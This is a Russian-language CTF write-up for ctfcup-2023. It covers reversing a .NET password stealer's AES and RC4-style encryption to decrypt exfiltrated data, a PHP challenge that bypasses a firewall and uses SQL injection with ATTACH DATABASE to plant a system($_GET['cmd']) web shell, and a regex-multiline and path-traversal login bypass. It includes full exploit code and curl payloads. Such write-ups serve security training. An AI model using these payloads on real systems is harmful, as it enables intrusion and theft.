Самое легкое задание - просто делаем cat core.2331 | grep -a ctfcup.
Задание довольно легкое, просто занимает много времени.
- Запустим через Wine, узнаем, что это само-распаковывающийся архив.
- Позже находим файл
Snake.exe, выглядящий как .NET Framework приложение. - Деобфусцириуем
Snake.exe, например, через de4dot и др. - Ручками деобфускируем до конца (то, что de4dot не смог)
- Получаем следующий код для шифровки:
var bufferedCipherBase = new PaddedBufferedBlockCipher(new CbcBlockCipher(new AesEngine()));
var icipherParameters = new ParametersWithIV(new KeyParameter(Encoding.UTF8.GetBytes(string_2), new byte[16]);
bufferedCipherBase.Init(true, icipherParameters_);
byte[] array = new byte[bufferedCipherBase.GetOutputSize(input.Length)];
int val = bufferedCipherBase.ProcessBytes(input, 0, input.Length, array, 0);
bufferedCipherBase.DoFinal(array, val);
return array;- Получаем следующий код обфускатора (JSON текста):
// string_0 = timewaitsfornoone (присвоено в Main)
byte[] Obfuscate(string key, byte[] input) {
var array = new byte[input.Length];
var array2 = new byte[256];
var array3 = new byte[256];
var val = 0;
while (val < 256L) {
((sbyte[])(object)array2)[val] = (sbyte)(byte)val;
((sbyte[])(object)array3)[val] = (sbyte)Convert.ToByte(string_0[val % string_0.Length]);
val += 1;
}
var val2 = 0;
val = 0;
while (val < 256L) {
val2 = (val2 + array2[val] + array3[val]) % 256;
var val3 = array2[val];
((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
((sbyte[])(object)array2)[val2] = (sbyte)val3;
val += 1;
}
val2 = 0;
val = 0;
var val4 = 0;
while (val4 < (long)array.Length) {
val = (val + 1) % 256;
val2 = (val2 + array2[val]) % 256;
var val3 = array2[val];
((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
((sbyte[])(object)array2)[val2] = (sbyte)val3;
var val5 = (array2[val] + array2[val2]) % 256;
((sbyte[])(object)array)[val4] = (sbyte)(byte)(input[val4] ^ array2[val5]);
val4 += 1;
}
return array;
}- Рассмотрим PCAP дамп, приложеный к стилеру.
- Нам уже должно быть известно, что сначала стилер получает пароль для шифрования (
string_2) через HTTP - Открываем дамп в WireShark с фильтром
http, ответ сервераd90f7g07asd0g80f- это наш пароль - Просматриваем следующий HTTP запрос, только уже POST, и сохраняем себе на потом.
- Нам уже должно быть известно, что сначала стилер получает пароль для шифрования (
Result=BokfOg%2B%2BGk8ETiU9DS3vtmtgdG0xNDwk263Z1gMvyw5obt7vhRycEoDnynIT1TTqmkQRH8t7MWcKs9ILqkUlA%2Bq6FGbKZg%2B41BRZqBj399RePW%2BfnH28cmYFN1vKLesyOtEvuZf9ud7uwyCj277AvbXoBOErsUhCW00U5z%2BIN4BOZviYhsj0zyTk2bgGl9CffislLov11BNS7CFzV%2BKQCslQZ9i7%2BJMyRsi54DwxGJegurPRj98%2FiLbUd%2B4QWCteCE6c8BMjXtg%2FGu989wvBvE9cv1j0U%2FOxunYbGqtnq4dj0oWFOPcB3CYgk7GDIzyUCy%2FfGKJGtHUoDEvc4J%2FQd19z8sSFvPCV6BflC2%2BsfxCNqPSvOzb2h3GNXTYzFv6sabT9M98aTFCzJkIkB1BZjaZ2mFGOW5l8eFL69viVBJjEZRFFrCDocL1cagbXT0DFkkGWoev%2BGSgabtm41%2F47ggEt1DkebOjiEDg%2FLYtzn3aVSjwwuW6uUkmBX2rg2RUN86RjHylVHc5OffHU8CLJRBxNXTqw45EKDMbWMqs94AQ6zejiHHC%2B%2FNI4NhF86VCII7K6Ou5thPOPgcURxSIWtYFfQVblzrEF2G2mFPTbcFIkQftVvAIj%2FAogFSyTYZ2X
- Избавляемся от
Result=, оставшиеся URL decode и потом Base64 decode. - Разшифровываем (по коду шифрования, тут алгоритм AES CBC, с ключом
string_2и с пустым IV 16 байт) - Прогоняем то, что мы получили через код обфускатора (он симметричен, работает и для деобфускации, и для обфускации)
- Вот и наш флаг -
ctfcup{y0ur_p455w0rd5_4r3_n07_54f3}(вместе с кукисами)
Исходный код решения
using System.Text;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Paddings;
using Org.BouncyCastle.Crypto.Parameters;
byte[] Deobfuscate(string key, byte[] input) {
var array = new byte[input.Length];
var array2 = new byte[256];
var array3 = new byte[256];
var val = 0;
while (val < 256L) {
((sbyte[])(object)array2)[val] = (sbyte)(byte)val;
((sbyte[])(object)array3)[val] = (sbyte)Convert.ToByte(key[val % key.Length]);
val += 1;
}
var val2 = 0;
val = 0;
while (val < 256L) {
val2 = (val2 + array2[val] + array3[val]) % 256;
var val3 = array2[val];
((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
((sbyte[])(object)array2)[val2] = (sbyte)val3;
val += 1;
}
val2 = 0;
val = 0;
var val4 = 0;
while (val4 < (long)array.Length) {
val = (val + 1) % 256;
val2 = (val2 + array2[val]) % 256;
var val3 = array2[val];
((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
((sbyte[])(object)array2)[val2] = (sbyte)val3;
var val5 = (array2[val] + array2[val2]) % 256;
((sbyte[])(object)array)[val4] = (sbyte)(byte)(input[val4] ^ array2[val5]);
val4 += 1;
}
return array;
}
var key1 = "d90f7g07asd0g80f"; var key2 = "timewaitsfornoone";
var enc = Convert.FromBase64String("BokfOg++Gk8ETiU9DS3vtmtgdG0xNDwk263Z1gMvyw5obt7vhRycEoDnynIT1TTqmkQRH8t7MWcKs9ILqkUlA+q6FGbKZg+41BRZqBj399RePW+fnH28cmYFN1vKLesyOtEvuZf9ud7uwyCj277AvbXoBOErsUhCW00U5z+IN4BOZviYhsj0zyTk2bgGl9CffislLov11BNS7CFzV+KQCslQZ9i7+JMyRsi54DwxGJegurPRj98/iLbUd+4QWCteCE6c8BMjXtg/Gu989wvBvE9cv1j0U/OxunYbGqtnq4dj0oWFOPcB3CYgk7GDIzyUCy/fGKJGtHUoDEvc4J/Qd19z8sSFvPCV6BflC2+sfxCNqPSvOzb2h3GNXTYzFv6sabT9M98aTFCzJkIkB1BZjaZ2mFGOW5l8eFL69viVBJjEZRFFrCDocL1cagbXT0DFkkGWoev+GSgabtm41/47ggEt1DkebOjiEDg/LYtzn3aVSjwwuW6uUkmBX2rg2RUN86RjHylVHc5OffHU8CLJRBxNXTqw45EKDMbWMqs94AQ6zejiHHC+/NI4NhF86VCII7K6Ou5thPOPgcURxSIWtYFfQVblzrEF2G2mFPTbcFIkQftVvAIj/AogFSyTYZ2X");
var cipher = new PaddedBufferedBlockCipher(new CbcBlockCipher(new AesEngine()));
var param = new ParametersWithIV(new KeyParameter(Encoding.UTF8.GetBytes(key1)), new byte[16]);
cipher.Init(false, param);
var array = new byte[cipher.GetOutputSize(enc.Length)];
var val = cipher.ProcessBytes(enc, 0, enc.Length, array, 0);
cipher.DoFinal(array, val);
Console.WriteLine(Convert.ToHexString(array));
Console.WriteLine(Encoding.UTF8.GetString(Deobfuscate(key2, array)));- В исходном коде проекта находим
sql.db, там и пароль от админкиadmin:someL0ngPasswordYouShouldNev3rGuess- При помощи него мы можем создавать новые аккаунты
- Просмотрим исходный код
add_admin.phpиlogin.php
// ! отрывок из файла login.php !
// тут идет ручная проверка content-type
// обойти фаервол здесь - нельзя
$data = [];
$content_type = $_SERVER["CONTENT_TYPE"];
$is_json = $content_type == "application/json";
if ($is_json) {
$jsonData = file_get_contents('php://input');
$data = json_decode($jsonData, true);
if ($data === null) {
http_response_code(400);
die("Invalid JSON data.");
}
}
if ($content_type == "application/x-www-form-urlencoded") {
$data = $_POST;
}
// ! отрывок из файла add_admin.php !
// ручной проверки и парсинга - нет
// используется $_POST, и он поддерживает multipart/form-data
// он не проверяется фаерволом, следовательно - это байпасс
$username = $_POST['name'] ?? "";
$password = $_POST["password"] ?? "";
$db = new SQLite3('/sql.db');
$q = "INSERT INTO users VALUES ('$username', '$password')";
$db->exec($q);
echo "Added user $username";- Мы можем обойти фаервол, который не пропускает спец. символам
- Теперь можно сделать SQL injection
- Подключаемся к датабазе по пути
/var/www/html/random_name_here.php- имя не имеет значения- Это позволяет нам создать PHP файл, соответсвенно мы получаем RCE
- Все что необходимо - создать таблицу, а потом добавить наш payload
- Сделаем remote shell (
<?php system($_GET['cmd']); ?>)
- Используем полученный доступ к терминалу
random_name_here.php?cmd=ls+/- узнаем, что флаг в рутеrandom_name_here.php?cmd=cat+/flag.txt- получаем флаг- Флаг:
ctfcup{640d345-dcd3-46dd-9887-9c968d64eb37}
Исходный код решения
using System.Text;
using var client = new HttpClient();
var content = new MultipartFormDataContent();
content.Add(new StringContent("we-do-some-mischevous-deeds"), "name");
content.Add(new StringContent("trolled'); ATTACH DATABASE '/var/www/html/bruh.php' AS pwn; CREATE TABLE pwn.test (cmd text); INSERT INTO pwn.test (cmd) VALUES (\"<?php system($_GET['cmd']); ?>\");--"), "password");
var read = await content.ReadAsByteArrayAsync();
Console.WriteLine(Encoding.UTF8.GetString(read));
var resp = await client.SendAsync(
new HttpRequestMessage {
RequestUri = new Uri("https://9756056f-ebf1-4fa1-94c1-4ea7ef6a91ea.ctfcup-2023.ru/add_admin.php"),
Headers = { { "Cookie", "PHPSESSID=Admin_Session_Cookie_Here" } },
Content = content, Method = HttpMethod.Post
});
Console.WriteLine(resp.ToString());
Console.WriteLine(await resp.Content.ReadAsStringAsync());Флаг хранится в паспорте администратора!
- После долгово анализа кода - я зацепился за один символ в коде
if (preg_match('/^[a-zA-Z0-9_]+$/m', $username) !== 1)- что означаетm?- Оказалось, что
m- multiline режим. Благодоря этому, мы можем обойти проверку. - Т.к. он проверяет все строки отдельно, можно сделать одну строку валидной, а другую - нет.
- Осталось только сделать payload -
left_part\nright_part, одна из частей должна соответсвовать regex'у.
- Начинаем издеватся над входом в normalizePath, т.к. это единственная возможность избавится от newline.
file_get_contents($this->normalizePath($this->dataDir . $username . ".txt"))- После эксперементации находим рабочий payload -
ok\n/../../userdata/admin - Но он не выдавал флаг. Сделая payload, вызывающий warning, узнаем что путь
/tmp. - Таким образом, наш payload
ok\n/../../tmp/admin
- Делаем два CURL-запроса, в итоге получая PHPSESSID нового юзера.
# Регистрируем пользователя, получаем токен для авторизации
curl 'https://9a577c0c-8bb8-4e60-aa56-145b1a387b11.ctfcup-2023.ru/register.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=ok%0A/../../tmp/admin&password=admin&passport=trollface'
# Логинимся под юзером, которого мы только что создали, получаем PHPSESSID
curl 'https://9a577c0c-8bb8-4e60-aa56-145b1a387b11.ctfcup-2023.ru/login.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=ok%0A/../../tmp/admin&password=admin&token=<token>'- Подменяем кукисы в бразуре на PHPSESSID, который мы получили
- Открываем главную страницу, и вуаля - наш флаг:
ctfcup{7fee0184-84e4-438f-8737-aa1b89754538}